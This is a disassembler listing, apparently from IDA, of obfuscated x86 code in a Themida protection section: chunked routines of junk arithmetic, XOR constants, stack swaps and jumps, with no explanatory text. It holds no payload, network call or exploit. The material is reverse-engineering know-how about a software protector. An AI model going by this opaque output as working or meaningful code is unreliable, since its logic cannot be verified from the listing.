sub_5523E1	proc near		; DATA XREF: Themida_:00551254o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00551B89 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00552302 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00553035 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00553D4C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055535E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00555EDB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00556B64 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00557648 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005578C1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005583C6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005589FB SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00558E2A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00559ABA SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0055AAAE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055B8E5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0055BD34 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055BDFA SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0055BFD0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055C3DB SIZE 0000002A BYTES

		mov	cx, [esp+0]
		jmp	loc_55AAAE
sub_5523E1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5523EA:				; CODE XREF: sub_55ABF6-2AAFj
		push	ecx
		push	edx
		mov	edx, 43AD3ECBh
		mov	ecx, 7147B682h
		sub	ecx, edx
		mov	edx, [esp+0Ah+var_C+2]
		add	esp, 4
		xor	[esp+6+var_4+2], ecx
		jmp	loc_551D9A
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55240A:				; CODE XREF: Themida_:0055481Fj
		push	edx
		mov	edx, 0B6B59B4h
		add	edx, 43D26541h
		shr	edx, 1
		add	edx, 46D44ACAh
		add	ebx, edx
		pop	edx
		xor	edx, ebx
		jmp	loc_55D01E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_552428:				; CODE XREF: sub_554E9D-1C51j
		mov	[esp+4+var_4], edx
		mov	edx, 7F435E66h
		push	ebx
		mov	ebx, 0EC44859h
		jmp	loc_554AAE
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------


loc_55243B:				; CODE XREF: Themida_:0055A009j
		pop	edi
		and	edi, 76CA6277h
		neg	edi
		xchg	ecx, edi
		push	ecx
		jmp	loc_55CE63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552D10


loc_55244C:				; CODE XREF: sub_552D10+4090j
		sub	esi, 0C462CD8Ch
		and	edx, esi
		pop	esi
		push	eax
		mov	eax, 48C44E47h
		add	edx, eax
		pop	eax
		shl	edx, 5
		add	edx, 66F5F562h
		add	edi, edx
		pop	edx
		xchg	edi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		bt	[esp-4+arg_0], ax
		pushf
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_552D10
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557D5E


loc_55247B:				; CODE XREF: sub_557D5E+2964j
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		xor	eax, edi
		mov	edi, [esp+4+var_4]
		add	esp, 4
		push	esi
		mov	esi, 20087952h
		xchg	eax, esi
		dec	eax
		sub	esp, 4
		mov	[esp+8+var_8], esi
		push	eax
		pop	esi
		jmp	loc_556E6C
; END OF FUNCTION CHUNK	FOR sub_557D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5524A5:				; CODE XREF: sub_55ABF6-6522j
		sub	edi, 15B00778h
		sub	edi, ecx
		jmp	loc_552CCB
; END OF FUNCTION CHUNK	FOR sub_55ABF6

; =============== S U B	R O U T	I N E =======================================



sub_5524B2	proc near		; CODE XREF: sub_552850+77CBj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 6C6C50E9h
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_5514E3
sub_5524B2	endp

; ---------------------------------------------------------------------------


loc_5524C7:				; CODE XREF: Themida_:00554EB7j
		push	ebp
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 4
		push	edx
		mov	edx, 11FF5614h
		sub	ebp, edx
		pop	edx
		add	ebp, ebx
		add	ebp, 11FF5614h
		pop	ebx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_55677A
; ---------------------------------------------------------------------------
byte_5524F3	db 89h			; CODE XREF: Themida_:00558B3Dj
; ---------------------------------------------------------------------------
		and	al, 24h
		add	dword ptr [esp], 4
		pop	edi
		push	esi
		jmp	loc_55B714
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_552504:				; CODE XREF: sub_55ABF6-8E4Ej
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		jmp	loc_5533D2
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556B0D


loc_55251D:				; CODE XREF: sub_556B0D-2243j
		add	esp, 4
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_556B0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_552525:				; CODE XREF: sub_552215-8C8j
		push	ecx
		push	[esp+0Ch+var_8]
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_557614
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554E9D


loc_552538:				; CODE XREF: sub_554E9D-199Cj
		xchg	edx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebp
		jmp	sub_552716
; END OF FUNCTION CHUNK	FOR sub_554E9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C1DB


loc_552544:				; CODE XREF: sub_55C1DB-19C3j
		xor	ebp, 7AC5FEFEh
		sub	eax, 0BB446C4h
		sub	eax, 77B13825h
		sub	eax, ebp
		add	eax, 77B13825h
		push	edi
		mov	edi, 5F520293h
		shl	edi, 6
		sub	edi, 7369689Ch
		inc	edi
		sub	edi, 6BD7144Ah
		jmp	loc_553761
; END OF FUNCTION CHUNK	FOR sub_55C1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55591C


loc_552576:				; CODE XREF: sub_55591C+3A8Dj
		xor	edx, [esp+0]
		jmp	loc_554D2C
; END OF FUNCTION CHUNK	FOR sub_55591C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BB30


loc_55257E:				; CODE XREF: sub_55BB30-7F94j
		shl	esi, 3
		inc	esi
		inc	esi
		jmp	loc_558EE5
; END OF FUNCTION CHUNK	FOR sub_55BB30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552D10


loc_552588:				; CODE XREF: sub_552D10+897Fj
		or	esi, 68453F53h
		jmp	loc_556D9A
; END OF FUNCTION CHUNK	FOR sub_552D10
; ---------------------------------------------------------------------------


loc_552593:				; CODE XREF: Themida_:0055B927j
		mov	bh, 2
		xor	bh, 1Ah
		shl	bh, 8
		sub	bh, 0A7h
		jmp	loc_558394
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5525A3:				; CODE XREF: sub_55ABF6-4B0Dj
		pop	ebx
		dec	esi
		push	ebx
		mov	ebx, 11EA0584h
		sub	esi, ebx
		pop	ebx
		jmp	loc_5556D8
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C814


loc_5525B3:				; CODE XREF: sub_55C814-A62Aj
		add	ecx, edi
		pop	edi
		push	ecx
		push	[esp+0Ch+var_8]
		jmp	loc_555B1A
; END OF FUNCTION CHUNK	FOR sub_55C814

; =============== S U B	R O U T	I N E =======================================



sub_5525C0	proc near		; DATA XREF: Themida_:00551248o

; FUNCTION CHUNK AT 00558373 SIZE 00000009 BYTES

		push	dword ptr [esp+0]
		jmp	loc_558373
sub_5525C0	endp

; ---------------------------------------------------------------------------


loc_5525C8:				; CODE XREF: Themida_:0055178Aj
		sub	ebp, 142B3084h
		add	ebp, 967FFA40h
		sub	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_551E13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C84B


loc_5525E3:				; CODE XREF: sub_55C84B+15j
		xchg	esi, [esp+0]
		pop	esp
		push	5954h
		mov	[esp+0], eax
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55C84B

; =============== S U B	R O U T	I N E =======================================



sub_5525F4	proc near		; CODE XREF: sub_558854+2C34j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00554A6A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00555E9B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00556C9F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055DDF4 SIZE 0000000C BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, esi
		push	edx
		xor	[esp+8+var_8], 45792E67h
		pop	ebp
		jmp	loc_556C9F
sub_5525F4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55611A


loc_55260D:				; CODE XREF: sub_55611A+3929j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ebx
		jmp	loc_553BA7
; END OF FUNCTION CHUNK	FOR sub_55611A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55389F


loc_552625:				; CODE XREF: sub_55389F+Aj
		push	eax
		jmp	loc_551B22
; END OF FUNCTION CHUNK	FOR sub_55389F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55262B:				; CODE XREF: sub_55ABF6+F35j
		add	esi, edi
		pop	edi
		and	esi, 6177228h
		push	ecx
		mov	ecx, 1EC791Bh
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, 81703B8h
		sub	edi, 6C11433Bh
		push	esi
		mov	esi, 2E6A7807h
		add	esi, 3E0DD062h
		or	edi, esi
		pop	esi
		jmp	loc_55C51B
; ---------------------------------------------------------------------------


loc_552662:				; CODE XREF: sub_55ABF6-71D7j
		add	ebx, 4
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		div	ecx
		jmp	loc_55348B
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_552675:				; CODE XREF: sub_552215+19Ej
		push	edi
		push	ecx
		pop	edi
		pop	ecx
		inc	ecx
		jmp	loc_557FC5
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_557FCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55389F


loc_552685:				; CODE XREF: sub_55389F+2382j
		pop	esi
		add	esp, 4
		add	edx, 7777301Bh
		add	edx, ecx
		sub	edx, 7777301Bh
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		xor	edx, [esp+0]
		xor	[esp+0], edx
		xor	edx, [esp+0]
		pop	esp
		push	[esp-4+arg_0]
		push	dword ptr [esp+0]
		pop	ecx
		push	edx
		jmp	loc_5538CA
; END OF FUNCTION CHUNK	FOR sub_55389F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_5526B4:				; CODE XREF: sub_55A4DA-74CCj
		push	948h
		mov	[esp+4+var_4], esi
		push	edi
		push	1F376436h
		push	[esp+0Ch+var_C]
		mov	edi, [esp+10h+var_10]
		add	esp, 4
		jmp	loc_5563EA
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5554E9


loc_5526D0:				; CODE XREF: sub_5554E9-2395j
		xchg	dl, [esp+0]
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_5554E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_5526D8:				; CODE XREF: sub_55910B+3E9j
		mov	dl, 72h
		sub	bh, 0A3h
		add	bh, dl
		add	bh, 0A3h
		pop	dx
		add	bh, 0F2h
		mov	cl, 45h
		and	cl, 0E6h
		and	cl, 54h
		inc	cl
		add	cl, 77h
		add	cl, 0E9h
		add	cl, 0Fh
		add	cl, bh
		push	edx
		jmp	loc_5576E0
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552E8E


loc_552702:				; CODE XREF: sub_552E8E+5561j
		sub	edx, 32255EB3h
		mov	ebp, edx
		pop	edx
		sub	ebp, 73D11585h
		jmp	loc_55AF52
; END OF FUNCTION CHUNK	FOR sub_552E8E

; =============== S U B	R O U T	I N E =======================================



sub_552716	proc near		; CODE XREF: sub_554E9D-295Ej

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005534B6 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005571A5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00557D41 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0055D90E SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	[esp+4+var_4]
		jmp	loc_5571A5
sub_552716	endp

; ---------------------------------------------------------------------------


loc_552727:				; CODE XREF: Themida_:0055BBD1j
		mov	[esp], esi
		mov	esi, 2
		add	ebx, esi
		pop	esi
		jmp	loc_55ABA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_552737:				; CODE XREF: sub_55ABF6-38C9j
		push	ecx
		mov	ch, 91h
		neg	ch
		or	ch, 77h
		add	ch, 57h
		sub	bl, 1Eh
		sub	bl, ch
		add	bl, 1Eh
		jmp	loc_55BDE2
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556E4D


loc_55274F:				; CODE XREF: sub_556E4D-5349j
		mov	edx, 182E35BAh
		jmp	loc_55CDCB
; END OF FUNCTION CHUNK	FOR sub_556E4D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_552759:				; CODE XREF: sub_55ABF6-79E8j
		pop	eax
		jmp	loc_555FAF
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_55275F:				; CODE XREF: Themida_:0055BABCj
		mov	eax, 35CD6113h
		shr	eax, 3
		jmp	loc_55C9CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55BB30


loc_55276C:				; CODE XREF: sub_55BB30+1Fj
		xor	ebp, 46F284Ah
		shl	ebp, 8
		sub	ebp, 179CCBCh
		and	edi, ebp
		pop	ebp
		xor	edi, 6B3F24E9h
		sub	edi, 11201499h
		add	eax, edi
		jmp	loc_55A470
; END OF FUNCTION CHUNK	FOR sub_55BB30

; =============== S U B	R O U T	I N E =======================================



sub_552791	proc near		; DATA XREF: Themida_:00551400o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00552928 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055385E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005546EE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00554F1D SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005559E6 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00556630 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00557EBF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055808E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055A620 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055AE40 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055B3C8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0055C0AC SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055C275 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055C8DD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055D87D SIZE 0000000A BYTES

		lodsb
		xor	al, bl
		push	5AA6h
		mov	[esp+4+var_4], edx
		push	19D1h
		mov	[esp+8+var_8], ebx
		mov	bl, 45h
		mov	dl, bl
		pop	ebx
		jmp	loc_55B3C8
sub_552791	endp

; ---------------------------------------------------------------------------


loc_5527AE:				; CODE XREF: Themida_:00551CB4j
		add	ebx, 0A823EFDh
		sub	ebx, ecx
		jmp	loc_553085
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553EEA


loc_5527BB:				; CODE XREF: sub_553EEA+AF4j
		add	esi, edi
		add	esi, 52137281h
		jmp	loc_553322
; END OF FUNCTION CHUNK	FOR sub_553EEA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B1F8


loc_5527C8:				; CODE XREF: sub_55B1F8-47A7j
		xor	eax, [esp+8+var_8]
		jmp	loc_55D646
; END OF FUNCTION CHUNK	FOR sub_55B1F8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	0ACh
		jmp	loc_5563E2
; ---------------------------------------------------------------------------


loc_5527DE:				; CODE XREF: Themida_:00555F59j
		mov	eax, esp
		jmp	loc_555EE7
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		push	esp
		pop	edi
		push	esi
		push	eax
		push	edi
		jmp	loc_554A2E
; ---------------------------------------------------------------------------


loc_5527F4:				; CODE XREF: Themida_:00554FF3j
		mov	ah, 0D4h
		add	bl, ah
		pop	eax
		add	bl, 39h
		add	bl, 0FBh
		jmp	loc_551ABE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55910B


loc_552804:				; CODE XREF: sub_55910B-5F4Dj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-6+arg_0+2]
		jmp	loc_555372
; END OF FUNCTION CHUNK	FOR sub_55910B
; ---------------------------------------------------------------------------


loc_552818:				; CODE XREF: Themida_:00558B33j
		pop	edx
		dec	ebp
		jmp	loc_55D513
; ---------------------------------------------------------------------------


loc_55281F:				; CODE XREF: Themida_:005560E2j
		sub	esi, 2B903D62h
		jmp	loc_554235
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55282A:				; CODE XREF: sub_55ABF6-8E61j
		add	ecx, edi
		pop	edi
		mov	ebp, [esp-6+arg_0+2]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp-0Ah+arg_4+2]
		pop	esp
		push	[esp-0Eh+arg_8+2]
		jmp	loc_55688B
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------


loc_552845:				; CODE XREF: Themida_:00558831j
		add	edi, 4
		jmp	loc_55709D

; =============== S U B	R O U T	I N E =======================================



sub_552850	proc near		; DATA XREF: Themida_:00551294o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00553AA8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00554E5C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00555605 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055658E SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00558847 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00558F3F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00559CE2 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055A00E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055BD13 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0055C253 SIZE 00000007 BYTES

		mov	eax, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		jmp	loc_55C253
sub_552850	endp

; ---------------------------------------------------------------------------


loc_55285E:				; CODE XREF: Themida_:0055812Dj
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	2ED9h
		mov	[esp], esi
		mov	esi, esp
		push	472Fh
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_55831F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55326E


loc_552884:				; CODE XREF: sub_55326E+259Ej
		mov	[esp-4+arg_0], edx
		mov	edx, 5E730DCAh
		sub	edx, 5E730DA6h
		sub	esi, 71E97079h
		add	esi, edx
		add	esi, 71E97079h
		push	[esp-4+arg_0]
		pop	edx
		push	17Ah
		mov	[esp+0], eax
		jmp	loc_555953
; END OF FUNCTION CHUNK	FOR sub_55326E

; =============== S U B	R O U T	I N E =======================================



sub_5528B1	proc near		; CODE XREF: sub_55BEDA-9249j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005566AE SIZE 0000000A BYTES

		push	ebx
		push	79B31B26h
		pop	ebx
		sub	esi, ebx
		pop	ebx
		mov	ecx, [esp+0]
		add	esp, 4
		xchg	esi, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		jmp	loc_5566AE
sub_5528B1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B62C


loc_5528CF:				; CODE XREF: sub_55B62C-72D0j
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		sub	esp, 4
		jmp	loc_5573B9
; END OF FUNCTION CHUNK	FOR sub_55B62C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559977


loc_5528E0:				; CODE XREF: sub_559977+8F3j
		add	esp, 2
		push	small 2633h
		mov	[esp+0], si
		push	24EFh
		mov	[esp+2+var_4+2], ebx
		jmp	loc_552D07
; END OF FUNCTION CHUNK	FOR sub_559977
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5528FB:				; CODE XREF: sub_55ABF6+1DF6j
		and	ecx, esi
		mov	esi, [esp-0Ah+arg_4+2]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp-6+arg_0+2]
		mov	esp, [esp-6+arg_0+2]
		shr	ecx, 0Ah
		push	3FDDh
		mov	[esp+0], ebx
		jmp	loc_5519C0
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552791


loc_552928:				; CODE XREF: sub_552791+326Fj
		mov	ah, 8Ch
		xor	bl, ah
		pop	eax
		jmp	loc_55A620
; END OF FUNCTION CHUNK	FOR sub_552791
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55DAC5


loc_552932:				; CODE XREF: sub_55DAC5+4j
		push	small 21F0h
		mov	[esp+2+var_2], ax
		jmp	loc_5514E3
; END OF FUNCTION CHUNK	FOR sub_55DAC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_55293F:				; CODE XREF: sub_55ABF6+2F62j
		mov	ebp, esi
		pop	esi
		jmp	loc_558A31
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	ebx
		jmp	loc_552AD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C58B


loc_552950:				; CODE XREF: sub_55C58B-5DD0j
		pop	esp
		shr	cl, 3
		jmp	loc_55D217
; END OF FUNCTION CHUNK	FOR sub_55C58B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A833


loc_552959:				; CODE XREF: sub_55ABF6-7F84j
					; sub_55A833+5j
		push	eax
		xor	[esp+4+var_4], 2B8226A7h
		push	[esp+4+var_4]
		jmp	loc_554FDC
; END OF FUNCTION CHUNK	FOR sub_55A833
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552215


loc_552969:				; CODE XREF: sub_552215+60E6j
		mov	edx, 4
		add	esi, edx
		pop	edx
		jmp	loc_559F6B
; END OF FUNCTION CHUNK	FOR sub_552215
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B62C


loc_552976:				; CODE XREF: sub_55B62C-2182j
		add	ebp, ecx
		jmp	loc_556441
; END OF FUNCTION CHUNK	FOR sub_55B62C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555A6F


loc_55297D:				; CODE XREF: sub_555A6F+3CF3j
		push	[esp+8+var_8]
		pop	eax
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_55502A
; END OF FUNCTION CHUNK	FOR sub_555A6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554592


loc_552992:				; CODE XREF: sub_554592+5CE2j
		xchg	eax, ecx
		neg	ecx
		xor	ecx, 6F4F5908h
		push	2D8Bh
		mov	[esp+8+var_8], eax
		mov	eax, 7B761D0Bh
		jmp	loc_55A898
; END OF FUNCTION CHUNK	FOR sub_554592
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558326


loc_5529AD:				; CODE XREF: sub_558326+15j
		mov	esi, [esp+8+var_8]
		add	esp, 4
		push	[esp+4+var_4]
		jmp	loc_55A6AB
; END OF FUNCTION CHUNK	FOR sub_558326
; ---------------------------------------------------------------------------


loc_5529BB:				; CODE XREF: Themida_:005545EBj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ebp
		mov	ebp, 510B4DACh
		xor	ebp, 10F81469h
		sub	ebp, 74C16368h
		jmp	loc_55AA01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_5529E7:				; CODE XREF: sub_55ABF6-1809j
		mov	ebp, edx
		pop	edx
		jmp	loc_553303
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55CE17


loc_5529EF:				; CODE XREF: sub_55CE17-14AFj
		mov	[esp+4+var_4], ebx
		push	[esp+4+var_4]
		jmp	loc_55C2BD
; END OF FUNCTION CHUNK	FOR sub_55CE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_5529FA:				; CODE XREF: sub_55A4DA-6EA3j
		inc	edx
		shl	edx, 7
		or	edx, 62FD4383h
		jmp	loc_554FBA
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55D40D


loc_552A09:				; CODE XREF: sub_55D40D-1037j
		shl	edx, 7
		inc	edx
		xchg	edi, edx
		neg	edi
		jmp	loc_55DC73
; END OF FUNCTION CHUNK	FOR sub_55D40D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_552A16:				; CODE XREF: sub_55ABF6-7C33j
		add	eax, 34E0432Dh
		sub	eax, ecx
		push	ebx
		mov	ebx, 0D7676C2h
		sub	ebx, 1
		inc	ebx
		xor	ebx, 399635EFh
		jmp	loc_5515BF
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_552A35:				; CODE XREF: sub_559249+2E45j
		sub	eax, 18F93488h
		jmp	loc_55C156
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A833


loc_552A3F:				; CODE XREF: sub_55A833-5856j
		push	ecx
		push	esp
		pop	ecx
		push	edi
		jmp	loc_555124
; END OF FUNCTION CHUNK	FOR sub_55A833
; ---------------------------------------------------------------------------


loc_552A48:				; CODE XREF: Themida_:0055650Aj
		add	ebp, 2
		jmp	loc_55954E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55ABF6


loc_552A50:				; CODE XREF: sub_55ABF6-7C4j
		push	[esp-6+arg_4+2]
		pop	ecx
		jmp	loc_5535A6
; END OF FUNCTION CHUNK	FOR sub_55ABF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559249


loc_552A5A:				; CODE XREF: sub_559249+28A7j
		mov	ebx, 470F42CDh
		add	ebx, 3020BE95h
		jmp	loc_55BC63
; END OF FUNCTION CHUNK	FOR sub_559249
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A4DA


loc_552A6A:				; CODE XREF: sub_55A4DA-D30j
		mov	ecx, 4EE24B43h
		jmp	loc_55545D
; END OF FUNCTION CHUNK	FOR sub_55A4DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5554E9


loc_552A74:				; CODE XREF: sub_5554E9-3ECFj
		mov	ah, ch
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	eax
		mov	al, dl
		push	edx
		mov	dh, al
		jmp	loc_554587
; END OF FUNCTION CHUNK	FOR sub_5554E9
; ---------------------------------------------------------------------------
